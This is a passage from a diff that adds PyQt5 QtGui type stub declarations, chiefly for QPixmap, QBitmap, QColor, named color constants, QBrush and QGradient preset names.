'QRegion': ... + def cacheKey(self) -> int: ... + @staticmethod + def trueMatrix(m: 'QTransform', w: int, h: int) -> 'QTransform': ... + def transformed(self, transform: 'QTransform', mode: QtCore.Qt.TransformationMode = ...) -> 'QPixmap': ... + def metric(self, a0: QPaintDevice.PaintDeviceMetric) -> int: ... + def paintEngine(self) -> 'QPaintEngine': ... + def isQBitmap(self) -> bool: ... + def detach(self) -> None: ... + @typing.overload + def copy(self, rect: QtCore.QRect = ...) -> 'QPixmap': ... + @typing.overload + def copy(self, ax: int, ay: int, awidth: int, aheight: int) -> 'QPixmap': ... + @typing.overload + def save(self, fileName: str, format: typing.Optional[str] = ..., quality: int = ...) -> bool: ... + @typing.overload + def save(self, device: QtCore.QIODevice, format: typing.Optional[str] = ..., quality: int = ...) -> bool: ... + @typing.overload + def loadFromData(self, buf: bytes, format: typing.Optional[str] = ..., flags: typing.Union[QtCore.Qt.ImageConversionFlags, QtCore.Qt.ImageConversionFlag] = ...) -> bool: ... + @typing.overload + def loadFromData(self, buf: typing.Union[QtCore.QByteArray, bytes, bytearray], format: typing.Optional[str] = ..., flags: typing.Union[QtCore.Qt.ImageConversionFlags, QtCore.Qt.ImageConversionFlag] = ...) -> bool: ... + def load(self, fileName: str, format: typing.Optional[str] = ..., flags: typing.Union[QtCore.Qt.ImageConversionFlags, QtCore.Qt.ImageConversionFlag] = ...) -> bool: ... + def convertFromImage(self, img: 'QImage', flags: typing.Union[QtCore.Qt.ImageConversionFlags, QtCore.Qt.ImageConversionFlag] = ...) -> bool: ... + @staticmethod + def fromImageReader(imageReader: 'QImageReader', flags: typing.Union[QtCore.Qt.ImageConversionFlags, QtCore.Qt.ImageConversionFlag] = ...) -> 'QPixmap': ... + @staticmethod + def fromImage(image: 'QImage', flags: typing.Union[QtCore.Qt.ImageConversionFlags, QtCore.Qt.ImageConversionFlag] = ...) -> 'QPixmap': ... + def toImage(self) -> 'QImage': ... + def scaledToHeight(self, height: int, mode: QtCore.Qt.TransformationMode = ...) -> 'QPixmap': ... + def scaledToWidth(self, width: int, mode: QtCore.Qt.TransformationMode = ...) -> 'QPixmap': ... + @typing.overload + def scaled(self, width: int, height: int, aspectRatioMode: QtCore.Qt.AspectRatioMode = ..., transformMode: QtCore.Qt.TransformationMode = ...) -> 'QPixmap': ... + @typing.overload + def scaled(self, size: QtCore.QSize, aspectRatioMode: QtCore.Qt.AspectRatioMode = ..., transformMode: QtCore.Qt.TransformationMode = ...) -> 'QPixmap': ... + def createMaskFromColor(self, maskColor: typing.Union['QColor', QtCore.Qt.GlobalColor], mode: QtCore.Qt.MaskMode = ...) -> 'QBitmap': ... + def createHeuristicMask(self, clipTight: bool = ...) -> 'QBitmap': ... + def hasAlphaChannel(self) -> bool: ... + def hasAlpha(self) -> bool: ... + def setMask(self, a0: 'QBitmap') -> None: ... + def mask(self) -> 'QBitmap': ... + def fill(self, color: typing.Union['QColor', QtCore.Qt.GlobalColor] = ...) -> None: ... + @staticmethod + def defaultDepth() -> int: ... + def depth(self) -> int: ... + def rect(self) -> QtCore.QRect: ... + def size(self) -> QtCore.QSize: ... + def height(self) -> int: ... + def width(self) -> int: ... + def devType(self) -> int: ... + def isNull(self) -> bool: ... + + +class QBitmap(QPixmap): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QBitmap') -> None: ... + @typing.overload + def __init__(self, a0: QPixmap) -> None: ... + @typing.overload + def __init__(self, w: int, h: int) -> None: ... + @typing.overload + def __init__(self, a0: QtCore.QSize) -> None: ... + @typing.overload + def __init__(self, fileName: str, format: typing.Optional[str] = ...) -> None: ... + @typing.overload + def __init__(self, variant: typing.Any) -> None: ... + + def swap(self, other: 'QBitmap') -> None: ... + def transformed(self, matrix: 'QTransform') -> 'QBitmap': ... + @staticmethod + def fromData(size: QtCore.QSize, bits: bytes, format: 'QImage.Format' = ...) -> 'QBitmap': ... + @staticmethod + def fromImage(image: 'QImage', flags: typing.Union[QtCore.Qt.ImageConversionFlags, QtCore.Qt.ImageConversionFlag] = ...) -> 'QBitmap': ... + def clear(self) -> None: ... + + +class QColor(sip.simplewrapper): + + class NameFormat(int): + HexRgb = ... # type: QColor.NameFormat + HexArgb = ... # type: QColor.NameFormat + + class Spec(int): + Invalid = ... # type: QColor.Spec + Rgb = ... # type: QColor.Spec + Hsv = ... # type: QColor.Spec + Cmyk = ... # type: QColor.Spec + Hsl = ... # type: QColor.Spec + ExtendedRgb = ... # type: QColor.Spec + + @typing.overload + def __init__(self, color: QtCore.Qt.GlobalColor) -> None: ... + @typing.overload + def __init__(self, rgb: int) -> None: ... + @typing.overload + def __init__(self, rgba64: 'QRgba64') -> None: ... + @typing.overload + def __init__(self, variant: typing.Any) -> None: ... + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, r: int, g: int, b: int, alpha: int = ...) -> None: ... + @typing.overload + def __init__(self, aname: str) -> None: ... + @typing.overload + def __init__(self, acolor: typing.Union['QColor', QtCore.Qt.GlobalColor]) -> None: ... + + def toExtendedRgb(self) -> 'QColor': ... + @typing.overload + @staticmethod + def fromRgba64(r: int, g: int, b: int, alpha: int = ...) -> 'QColor': ... + @typing.overload + @staticmethod + def fromRgba64(rgba: 'QRgba64') -> 'QColor': ... + def setRgba64(self, rgba: 'QRgba64') -> None: ... + def rgba64(self) -> 'QRgba64': ... + @staticmethod + def isValidColor(name: str) -> bool: ... + @staticmethod + def fromHslF(h: float, s: float, l: float, alpha: float = ...) -> 'QColor': ... + @staticmethod + def fromHsl(h: int, s: int, l: int, alpha: int = ...) -> 'QColor': ... + def toHsl(self) -> 'QColor': ... + def setHslF(self, h: float, s: float, l: float, alpha: float = ...) -> None: ... + def getHslF(self) -> typing.Tuple[float, float, float, float]: ... + def setHsl(self, h: int, s: int, l: int, alpha: int = ...) -> None: ... + def getHsl(self) -> typing.Tuple[int, int, int, int]: ... + def lightnessF(self) -> float: ... + def hslSaturationF(self) -> float: ... + def hslHueF(self) -> float: ... + def lightness(self) -> int: ... + def hslSaturation(self) -> int: ... + def hslHue(self) -> int: ... + def hsvSaturationF(self) -> float: ... + def hsvHueF(self) -> float: ... + def hsvSaturation(self) -> int: ... + def hsvHue(self) -> int: ... + def darker(self, factor: int = ...) -> 'QColor': ... + def lighter(self, factor: int = ...) -> 'QColor': ... + def isValid(self) -> bool: ... + @staticmethod + def fromCmykF(c: float, m: float, y: float, k: float, alpha: float = ...) -> 'QColor': ... + @staticmethod + def fromCmyk(c: int, m: int, y: int, k: int, alpha: int = ...) -> 'QColor': ... + @staticmethod + def fromHsvF(h: float, s: float, v: float, alpha: float = ...) -> 'QColor': ... + @staticmethod + def fromHsv(h: int, s: int, v: int, alpha: int = ...) -> 'QColor': ... + @staticmethod + def fromRgbF(r: float, g: float, b: float, alpha: float = ...) -> 'QColor': ... + @staticmethod + def fromRgba(rgba: int) -> 'QColor': ... + @typing.overload + @staticmethod + def fromRgb(rgb: int) -> 'QColor': ... + @typing.overload + @staticmethod + def fromRgb(r: int, g: int, b: int, alpha: int = ...) -> 'QColor': ... + def convertTo(self, colorSpec: 'QColor.Spec') -> 'QColor': ... + def toCmyk(self) -> 'QColor': ... + def toHsv(self) -> 'QColor': ... + def toRgb(self) -> 'QColor': ... + def setCmykF(self, c: float, m: float, y: float, k: float, alpha: float = ...) -> None: ... + def getCmykF(self) -> typing.Tuple[float, float, float, float, float]: ... + def setCmyk(self, c: int, m: int, y: int, k: int, alpha: int = ...) -> None: ... + def getCmyk(self) -> typing.Tuple[int, int, int, int, int]: ... + def blackF(self) -> float: ... + def yellowF(self) -> float: ... + def magentaF(self) -> float: ... + def cyanF(self) -> float: ... + def black(self) -> int: ... + def yellow(self) -> int: ... + def magenta(self) -> int: ... + def cyan(self) -> int: ... + def setHsvF(self, h: float, s: float, v: float, alpha: float = ...) -> None: ... + def getHsvF(self) -> typing.Tuple[float, float, float, float]: ... + def setHsv(self, h: int, s: int, v: int, alpha: int = ...) -> None: ... + def getHsv(self) -> typing.Tuple[int, int, int, int]: ... + def valueF(self) -> float: ... + def saturationF(self) -> float: ... + def hueF(self) -> float: ... + def value(self) -> int: ... + def saturation(self) -> int: ... + def hue(self) -> int: ... + def rgb(self) -> int: ... + def setRgba(self, rgba: int) -> None: ... + def rgba(self) -> int: ... + def setRgbF(self, r: float, g: float, b: float, alpha: float = ...) -> None: ... + def getRgbF(self) -> typing.Tuple[float, float, float, float]: ... + @typing.overload + def setRgb(self, r: int, g: int, b: int, alpha: int = ...) -> None: ... + @typing.overload + def setRgb(self, rgb: int) -> None: ... + def getRgb(self) -> typing.Tuple[int, int, int, int]: ... + def setBlueF(self, blue: float) -> None: ... + def setGreenF(self, green: float) -> None: ... + def setRedF(self, red: float) -> None: ... + def blueF(self) -> float: ... + def greenF(self) -> float: ... + def redF(self) -> float: ... + def setBlue(self, blue: int) -> None: ... + def setGreen(self, green: int) -> None: ... + def setRed(self, red: int) -> None: ... + def blue(self) -> int: ... + def green(self) -> int: ... + def red(self) -> int: ... + def setAlphaF(self, alpha: float) -> None: ... + def alphaF(self) -> float: ... + def setAlpha(self, alpha: int) -> None: ... + def alpha(self) -> int: ... + def spec(self) -> 'QColor.Spec': ... + @staticmethod + def colorNames() -> typing.List[str]: ... + def setNamedColor(self, name: str) -> None: ... + @typing.overload + def name(self) -> str: ... + @typing.overload + def name(self, format: 'QColor.NameFormat') -> str: ... + + +class QColorConstants(PyQt5.sip.simplewrapper): + + class Svg(PyQt5.sip.simplewrapper): + + aliceblue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + antiquewhite = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + aqua = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + aquamarine = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + azure = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + beige = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + bisque = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + black = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + blanchedalmond = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + blue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + blueviolet = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + brown = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + burlywood = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + cadetblue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + chartreuse = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + chocolate = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + coral = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + cornflowerblue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + cornsilk = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + crimson = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + cyan = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + darkblue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + darkcyan = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + darkgoldenrod = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + darkgray = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + darkgreen = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + darkgrey = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + darkkhaki = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + darkmagenta = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + darkolivegreen = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + darkorange = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + darkorchid = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + darkred = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + darksalmon = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + darkseagreen = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + darkslateblue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + darkslategray = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + darkslategrey = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + darkturquoise = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + darkviolet = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + deeppink = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + deepskyblue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + dimgray = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + dimgrey = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + dodgerblue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + firebrick = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + floralwhite = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + forestgreen = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + fuchsia = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + gainsboro = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + ghostwhite = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + gold = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + goldenrod = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + gray = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + green = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + greenyellow = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + grey = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + honeydew = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + hotpink = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + indianred = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + indigo = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + ivory = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + khaki = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lavender = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lavenderblush = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lawngreen = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lemonchiffon = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lightblue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lightcoral = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lightcyan = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lightgoldenrodyellow = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lightgray = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lightgreen = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lightgrey = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lightpink = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lightsalmon = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lightseagreen = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lightskyblue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lightslategray = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lightslategrey = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lightsteelblue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lightyellow = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + lime = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + limegreen = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + linen = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + magenta = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + maroon = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + mediumaquamarine = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + mediumblue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + mediumorchid = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + mediumpurple = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + mediumseagreen = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + mediumslateblue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + mediumspringgreen = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + mediumturquoise = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + mediumvioletred = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + midnightblue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + mintcream = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + mistyrose = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + moccasin = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + navajowhite = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + navy = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + oldlace = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + olive = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + olivedrab = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + orange = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + orangered = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + orchid = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + palegoldenrod = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + palegreen = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + paleturquoise = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + palevioletred = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + papayawhip = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + peachpuff = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + peru = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + pink = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + plum = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + powderblue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + purple = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + red = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + rosybrown = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + royalblue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + saddlebrown = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + salmon = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + sandybrown = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + seagreen = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + seashell = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + sienna = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + silver = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + skyblue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + slateblue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + slategray = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + slategrey = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + snow = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + springgreen = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + steelblue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + tan = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + teal = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + thistle = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + tomato = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + turquoise = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + violet = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + wheat = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + white = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + whitesmoke = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + yellow = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + yellowgreen = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + + Black = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + Blue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + Color0 = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + Color1 = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + Cyan = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + DarkBlue = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + DarkCyan = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + DarkGray = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + DarkGreen = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + DarkMagenta = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + DarkRed = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + DarkYellow = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + Gray = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + Green = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + LightGray = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + Magenta = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + Red = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + Transparent = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + White = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + Yellow = ... # type: typing.Union[QColor, QtCore.Qt.GlobalColor] + + +class QBrush(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, bs: QtCore.Qt.BrushStyle) -> None: ... + @typing.overload + def __init__(self, color: typing.Union[QColor, QtCore.Qt.GlobalColor], style: QtCore.Qt.BrushStyle = ...) -> None: ... + @typing.overload + def __init__(self, color: typing.Union[QColor, QtCore.Qt.GlobalColor], pixmap: QPixmap) -> None: ... + @typing.overload + def __init__(self, pixmap: QPixmap) -> None: ... + @typing.overload + def __init__(self, image: 'QImage') -> None: ... + @typing.overload + def __init__(self, brush: typing.Union['QBrush', QColor, QtCore.Qt.GlobalColor, 'QGradient']) -> None: ... + @typing.overload + def __init__(self, variant: typing.Any) -> None: ... + + def swap(self, other: 'QBrush') -> None: ... + def transform(self) -> 'QTransform': ... + def setTransform(self, a0: 'QTransform') -> None: ... + def textureImage(self) -> 'QImage': ... + def setTextureImage(self, image: 'QImage') -> None: ... + def color(self) -> QColor: ... + def style(self) -> QtCore.Qt.BrushStyle: ... + def isOpaque(self) -> bool: ... + def gradient(self) -> 'QGradient': ... + @typing.overload + def setColor(self, color: typing.Union[QColor, QtCore.Qt.GlobalColor, 'QGradient']) -> None: ... + @typing.overload + def setColor(self, acolor: QtCore.Qt.GlobalColor) -> None: ... + def setTexture(self, pixmap: QPixmap) -> None: ... + def texture(self) -> QPixmap: ... + def setStyle(self, a0: QtCore.Qt.BrushStyle) -> None: ... + + +class QGradient(sip.simplewrapper): + + class Preset(int): + WarmFlame = ... # type: QGradient.Preset + NightFade = ... # type: QGradient.Preset + SpringWarmth = ... # type: QGradient.Preset + JuicyPeach = ... # type: QGradient.Preset + YoungPassion = ... # type: QGradient.Preset + LadyLips = ... # type: QGradient.Preset + SunnyMorning = ... # type: QGradient.Preset + RainyAshville = ... # type: QGradient.Preset + FrozenDreams = ... # type: QGradient.Preset + WinterNeva = ... # type: QGradient.Preset + DustyGrass = ... # type: QGradient.Preset + TemptingAzure = ... # type: QGradient.Preset + HeavyRain = ... # type: QGradient.Preset + AmyCrisp = ... # type: QGradient.Preset + MeanFruit = ... # type: QGradient.Preset + DeepBlue = ... # type: QGradient.Preset + RipeMalinka = ... # type: QGradient.Preset + CloudyKnoxville = ... # type: QGradient.Preset + MalibuBeach = ... # type: QGradient.Preset + NewLife = ... # type: QGradient.Preset + TrueSunset = ... # type: QGradient.Preset + MorpheusDen = ... # type: QGradient.Preset + RareWind = ... # type: QGradient.Preset + NearMoon = ... # type: QGradient.Preset + WildApple = ... # type: QGradient.Preset + SaintPetersburg = ... # type: QGradient.Preset + PlumPlate = ... # type: QGradient.Preset + EverlastingSky = ... # type: QGradient.Preset + HappyFisher = ... # type: QGradient.Preset + Blessing = ... # type: QGradient.Preset + SharpeyeEagle = ... # type: QGradient.Preset + LadogaBottom = ... # type: QGradient.Preset + LemonGate = ... # type: QGradient.Preset + ItmeoBranding = ... # type: QGradient.Preset + ZeusMiracle = ... # type: QGradient.Preset + OldHat = ... # type: QGradient.Preset + StarWine = ... # type: QGradient.Preset + HappyAcid = ... # type: QGradient.Preset + AwesomePine = ... # type: QGradient.Preset + NewYork = ... # type: QGradient.Preset + ShyRainbow = ... # type: QGradient.Preset + MixedHopes = ... # type: QGradient.Preset + FlyHigh = ... # type: QGradient.Preset + StrongBliss = ... # type: QGradient.Preset + FreshMilk = ... # type: QGradient.Preset + SnowAgain = ... # type: QGradient.Preset + FebruaryInk = ... # type: QGradient.Preset + KindSteel = ... # type: QGradient.Preset + SoftGrass = ... # type: QGradient.Preset + GrownEarly = ... # type: QGradient.Preset + SharpBlues = ... # type: QGradient.Preset + ShadyWater = ... # type: QGradient.Preset + DirtyBeauty = ... # type: QGradient.Preset + GreatWhale = ... # type: QGradient.Preset + TeenNotebook = ... # type: QGradient.Preset + PoliteRumors = ... # type: QGradient.Preset + SweetPeriod = ... # type: QGradient.Preset + WideMatrix = ... # type: QGradient.Preset + SoftCherish = ... # type: QGradient.Preset + RedSalvation = ... # type: QGradient.Preset + BurningSpring = ... # type: QGradient.Preset + NightParty = ... # type: QGradient.Preset + SkyGlider = ... # type: QGradient.Preset + HeavenPeach = ... # type: QGradient.Preset + PurpleDivision = ... # type: QGradient.Preset + AquaSplash = ... # type: QGradient.Preset + SpikyNaga = ... # type: QGradient.Preset + LoveKiss = ... # type: QGradient.Preset + CleanMirror = ... # type: QGradient.Preset + PremiumDark = ... # type: QGradient.Preset + ColdEvening = ... # type: QGradient.Preset + CochitiLake = ... # type: QGradient.Preset + SummerGames = ... # type: QGradient.Preset + PassionateBed = ... # type: QGradient.Preset + MountainRock = ... # type: QGradient.Preset + DesertHump = ... # type: QGradient.Preset + JungleDay = ... # type: QGradient.Preset + PhoenixStart = ... # type: QGradient.Preset + OctoberSilence = ... # type: QGradient.Preset + FarawayRiver = ... # type: QGradient.Preset + AlchemistLab = ... # type: QGradient.Preset + OverSun = ... # type: QGradient.Preset + PremiumWhite = ... # type: QGradient.Preset + MarsParty = ... # type: QGradient.Preset + EternalConstance = ... # type: QGradient.Preset + JapanBlush = ... # type: QGradient.Preset + SmilingRain = ... # type: QGradient.Preset + CloudyApple = ... # type: QGradient.Preset + BigMango = ... # type: QGradient.Preset + HealthyWater = ... # type: QGradient.Preset + AmourAmour = ... # type: QGradient.Preset + RiskyConcrete = ... # type: QGradient.Preset + StrongStick = ... # type: QGradient.Preset + ViciousStance = ... # type: QGradient.Preset + PaloAlto = ... # type: QGradient.Preset + HappyMemories = ... # type: QGradient.Preset + MidnightBloom = ... # type: QGradient.Preset + Crystalline = ... # type: QGradient.Preset + PartyBliss = ... # type: QGradient.Preset + ConfidentCloud = ... # type: QGradient.Preset + LeCocktail = ... # type: QGradient.Preset + RiverCity = ... # type: QGradient.Preset + FrozenBerry = ... # type: QGradient.Preset + ChildCare = ... # type: QGradient.Preset + FlyingLemon = ... # type: QGradient.Preset + NewRetrowave = ... # type: QGradient.Preset + HiddenJaguar = ... # type: QGradient.Preset + AboveTheSky = ... # type: QGradient.Preset + Nega = ... # type: QGradient.Preset + DenseWater = ... # type: QGradient.Preset + Seashore = ... # type: QGradient.Preset + MarbleWall = ... # type: QGradient.Preset + CheerfulCaramel = ... # type: QGradient.Preset + NightSky = ... # type: QGradient.Preset + MagicLake = ... # type: QGradient.Preset + YoungGrass = ... # type: QGradient.Preset + ColorfulPeach = ... # type: QGradient.Preset + GentleCare = ... # type: QGradient.Preset + PlumBath = ... # type: QGradient.Preset + HappyUnicorn = ... # type: QGradient.Preset + AfricanField = ... # type: QGradient.Preset + SolidStone = ... # type: QGradient.Preset + OrangeJuice = ... # type: QGradient.Preset + GlassWater = ... # type: QGradient.Preset + NorthMiracle = ... # type: QGradient.Preset + FruitBlend = ... # type: QGradient.Preset + MillenniumPine = ... # type: QGradient.Preset + HighFlight = ... # type: QGradient.Preset + MoleHall = ... # type: QGradient.Preset + SpaceShift = ... # type: QGradient.Preset + ForestInei = ... # type: QGradient.Preset + RoyalGarden = ... # type: QGradient.Preset + RichMetal = ... # type: QGradient.Preset + JuicyCake = ... # type: QGradient.Preset + SmartIndigo = ... # type: QGradient.Preset + SandStrike = ... # type: QGradient.Preset + NorseBeauty = ... # type: QGradient.Preset + AquaGuidance = ... # type: QGradient.Preset + SunVeggie = ... # type: QGradient.Preset + SeaLord = ... # type: QGradient.Preset + BlackSea = ... # type: QGradient.Preset + GrassShampoo = ... # type: QGradient.Preset + LandingAircraft = ... # type: QGradient.Preset + WitchDance = ... # type: QGradient.Preset + SleeplessNight = ... # type: QGradient.Preset + AngelCare = ... # type: QGradient.Preset + CrystalRiver = ... # type: QGradient.Preset + SoftLipstick = ... # type: QGradient.Preset + SaltMountain = ... # type: QGradient.Preset + PerfectWhite = ... # type: QGradient.Preset + FreshOasis = ... # type: QGradient.Preset + StrictNovember = ... # type: QGradient.Preset + MorningSalad = ... # 